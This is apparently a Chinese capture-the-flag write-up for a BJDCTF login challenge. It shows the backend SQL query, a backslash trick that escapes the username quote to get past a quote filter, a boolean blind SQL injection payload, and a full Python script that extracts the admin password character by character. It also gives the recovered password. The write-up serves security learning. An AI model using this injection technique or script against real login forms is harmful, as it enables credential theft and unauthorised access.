[BJDCTF 2nd]简单注入

审题

很简洁的登录框 别想了没有注册页面 测试了一下需要找到admin的密码才能登陆 挣扎了一会发现直接注不太行 瞟了一眼wp 发现有个hint.txt

1
2
3
4
5
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

在之前 我尝试在username那边直接闭合引号 却发现题目似乎是直接过滤了引号 那么如何闭合引号

解题

既然没有办法直接闭合引号 那我们可以换一种方式 不能直接闭合可以用转义符间接闭合

1
'$_POST["username"]' and password='$_POST["password"]';

假如我们传入的username = admin\ 那就会变成

1
'admin\' and password='$_POST["password"]';

那么username就变成了:admin' and password= 然后我们就可以在password那边构造恶意语句了 尝试过之后发现只能盲注 其他都fuzz过被过滤了
payload:

1
or/**/length(database())>0#

发现回显不一样 回显是:”BJD needs to be stronger”
说明如果是真 返回是这句话 如果是假那就是”You konw ,P3rh4ps needs a girl friend”这句话 那就可以构造bool盲注了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://0309c0d7-3377-473a-9809-0b180f12f9b7.node3.buuoj.cn/index.php'
num = 0
result = ''
for j in range (1,32):
for i in range (32,128):
data = {
"username":"admin\\",
"password":"or(ascii(substr(password,%d,1))>%d)#"%(j,i)
}
r=requests.post(url,data=data)
if 'You konw ,P3rh4ps needs a girl friend' in r.text:
result += chr(i)
print(chr(i))
break
print(result)

拿到密码:OhyOuFOuNdit 登录拿到flag

EOF